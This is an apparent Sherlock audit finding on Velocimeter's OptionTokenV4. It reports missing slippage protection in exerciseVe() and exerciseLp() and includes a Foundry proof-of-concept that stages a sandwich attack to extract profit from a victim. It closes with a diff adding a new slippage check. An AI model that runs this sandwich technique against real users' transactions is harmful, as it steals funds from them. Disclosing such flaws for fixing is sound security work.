Fresh Azure Copperhead

High

# Anyone calling `exerciseVe()` or `exerciseLp()` could suffer a sandwich attack or a loss on the paymentToken due to the lack of slippage protection

## Summary
There is no slippage protection when calculating `paymentAmountToAddLiquidity` in `exerciseVe()` or `exerciseLp()`. resulting in the caller being vulnerable to sandwich attacks.
## Vulnerability Detail
- A OptionToken owner can call `exerciseVe()` or `exerciseLp()` to buy underlying token at a specified discount.
- Then the purchased underlying token will be deposited into `router` together with the caller's paymentToken for lpTokens.
The amount of paymentToken for underlying token and the amount of paymentToken for liquidity are calculated in `getPaymentTokenAmountForExerciseLp()`:
```solidity
    function getPaymentTokenAmountForExerciseLp(uint256 _amount,uint256 _discount) public view returns (uint256 paymentAmount, uint256 paymentAmountToAddLiquidity)
    {
        paymentAmount = _discount == 0 ? 0 : getLpDiscountedPrice(_amount, _discount);
        (uint256 underlyingReserve, uint256 paymentReserve) = IRouter(router).getReserves(underlyingToken, paymentToken, false);
        paymentAmountToAddLiquidity = (_amount * paymentReserve) / underlyingReserve;
    }
```
The amount of paymentToken spent for underlyingToken should be no more than `_maxPaymentAmount`:
```solidity
593:    function _exerciseVe(
594:        uint256 _amount,
595:        uint256 _maxPaymentAmount,
596:        uint256 _discount,
597:        address _recipient
598:    ) internal returns (uint256 paymentAmount, uint256 nftId,uint256 lpAmount) {
...         ...
607:        (uint256 paymentAmount,uint256 paymentAmountToAddLiquidity) =  getPaymentTokenAmountForExerciseLp(_amount,_discount); // TODO decide if we want to have the curve or just always maxlock
608:@>      if (paymentAmount > _maxPaymentAmount)
609:@>          revert OptionToken_SlippageTooHigh();
...         ...
650:    }
```
```solidity
652:    function _exerciseLp(
653:        uint256 _amount,   // the oTOKEN amount the user wants to redeem with
654:        uint256 _maxPaymentAmount, // the 
655:        address _recipient,
656:        uint256 _discount
657:    ) internal returns (uint256 paymentAmount, uint256 lpAmount) {
...         ...
666:        (uint256 paymentAmount,uint256 paymentAmountToAddLiquidity) =  getPaymentTokenAmountForExerciseLp(_amount,_discount);
667:@>      if (paymentAmount > _maxPaymentAmount)
669:@>          revert OptionToken_SlippageTooHigh();
...         ...
716:    }
```
However, there is no slippage protection for `paymentAmountToAddLiquidity`, the caller could pay much more `paymentAmountToAddLiquidity` than expected if the reserves of the pool changed a lot. 

Since the sponsor stated that [the Velocimeter protocol could be deployed on any EVM-compatible chain](https://discord.com/channels/812037309376495636/1257350045976760404/1263288657184559185), it is also possible that either `exerciseVe()` or `exerciseLp()` could suffer a sandwich attack.

Copy below codes to [OptionTokenV4.t.sol](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/test/OptionTokenV4.t.sol) and run forge test --match-test testExerciseVeSandwichAttack
```solidity
    function testExerciseVeSandwichAttack() public {
        vm.startPrank(address(owner));
        FLOW.approve(address(oFlowV4), 1000e18);
        // mint Option token to owner 2
        oFlowV4.mint(address(owner2), 1000e18);

        washTrades();
        vm.stopPrank();

        uint256 daiBalanceBefore = DAI.balanceOf(address(owner2));

        (uint256 underlyingReserve, uint256 paymentReserve) = IRouter(router).getReserves(address(FLOW), address(DAI), false);
        //@audit-info the amount of paymentToken for add liquidity
        uint256 paymentAmountToAddLiquidity = (1000e18 * paymentReserve) /  underlyingReserve;
        //@audit-info the amount of paymentToken for purchasing underlyingToken
        uint256 discountedPrice = oFlowV4.getLpDiscountedPrice(1000e18,20); //oFlowV4.getVeDiscountedPrice(TOKEN_1);

        //@audit-info alice swap 100_000e18 DAI for FLOW before owner2 call exerciseVe()
        address alice = makeAddr("alice");
        DAI.mint(alice, 1_000_000e18);
        FLOW.mint(alice, 1_000_000e18);
        vm.startPrank(alice);
        DAI.approve(address(router), type(uint).max);
        FLOW.approve(address(router), type(uint).max);
        //@audit-info alice add liquidity then manipulate FLOW/DAI price by swapping DAI for FLOW before owner2 calling exerciseVe()
        (, , uint lpAmount) = IRouter(router).addLiquidity(address(FLOW), address(DAI), false, 100_000e18, 100_000e18, 1, 1, alice, block.timestamp);
        IRouter(router).swapExactTokensForTokensSimple(900_000e18, 0, address(DAI), address(FLOW), false, alice, block.timestamp);
        vm.stopPrank();
        //@audit-info owner2 call oFlowV4.exerciseVe()
        vm.startPrank(address(owner2));
        DAI.approve(address(oFlowV4), type(uint).max);
        oFlowV4.exerciseVe(1000e18, 1000e18, address(owner2), 20, block.timestamp);
        vm.stopPrank();
        address pair = IRouter(router).pairFor(address(FLOW), address(DAI), false);
        vm.startPrank(alice);
        //@audit-info alice remove liquidity and swap FLOW for DAI to exploit profit
        IERC20(pair).approve(address(router), type(uint).max);
        Router(router).removeLiquidity(address(FLOW), address(DAI), false, lpAmount, 1, 1, alice, block.timestamp);
        IRouter(router).swapExactTokensForTokensSimple(86_532e18, 0, address(FLOW), address(DAI), false, alice, block.timestamp);
        vm.stopPrank();
        uint daiProfit = DAI.balanceOf(alice) - 1_000_000e18;
        uint flowSpent = 1_000_000e18 - FLOW.balanceOf(alice);
        //@audit-info alice spent 4492e18 FLOW for 24578e18 DAI
        assertApproxEqAbs(flowSpent,  4492e18, 1e18);
        assertApproxEqAbs(daiProfit,  24578e18, 1e18);
        uint256 daiBalanceAfter = DAI.balanceOf(address(owner2));
        //@audit-info the amount of paymentToken owner2 paid for adding liquidity
        uint paymentAmountToAddLiquidityAfterSwap = daiBalanceBefore - daiBalanceAfter - discountedPrice;
        //@audit-info paymentAmountToAddLiquidityAfterSwap is almost 30 times of paymentAmountToAddLiquidity
        assertApproxEqAbs(paymentAmountToAddLiquidityAfterSwap/30,  paymentAmountToAddLiquidity, paymentAmountToAddLiquidity/10);
    }
```
## Impact
Anyone calling `exerciseVe()` or `exerciseLp()` could suffer a sandwich attack or a loss on the paymentToken due to the lack of slippage protection.
## Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/OptionTokenV4.sol#L286-L295
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/OptionTokenV4.sol#L305-L314
## Tool used

Manual Review

## Recommendation
Introduce `maxPaymentAmountToAddLiquidity` parameter as slippage protection for `paymentAmountToAddLiquidity`:
```diff
    function _exerciseVe(
        uint256 _amount,
        uint256 _maxPaymentAmount,
+       uint256 _maxPaymentAmountToAddLiquidity,
        uint256 _discount,
        address _recipient
    ) internal returns (uint256 paymentAmount, uint256 nftId,uint256 lpAmount) {
        ...
        (uint256 paymentAmount,uint256 paymentAmountToAddLiquidity) =  getPaymentTokenAmountForExerciseLp(_amount,_discount); // TODO decide if we want to have the curve or just always maxlock
        if (paymentAmount > _maxPaymentAmount)
            revert OptionToken_SlippageTooHigh();
+       if (paymentAmountToAddLiquidity > _maxPaymentAmountToAddLiquidity)
+           revert OptionToken_SlippageTooHigh();
        ...
    }

    function _exerciseLp(
        uint256 _amount,   // the oTOKEN amount the user wants to redeem with
        uint256 _maxPaymentAmount, // the 
+       uint256 _maxPaymentAmountToAddLiquidity,
        address _recipient,
        uint256 _discount
    ) internal returns (uint256 paymentAmount, uint256 lpAmount) {
        ...
        (uint256 paymentAmount,uint256 paymentAmountToAddLiquidity) =  getPaymentTokenAmountForExerciseLp(_amount,_discount);
        if (paymentAmount > _maxPaymentAmount)
            revert OptionToken_SlippageTooHigh();
+       if (paymentAmountToAddLiquidity > _maxPaymentAmountToAddLiquidity)
+           revert OptionToken_SlippageTooHigh();
        ...
    }
```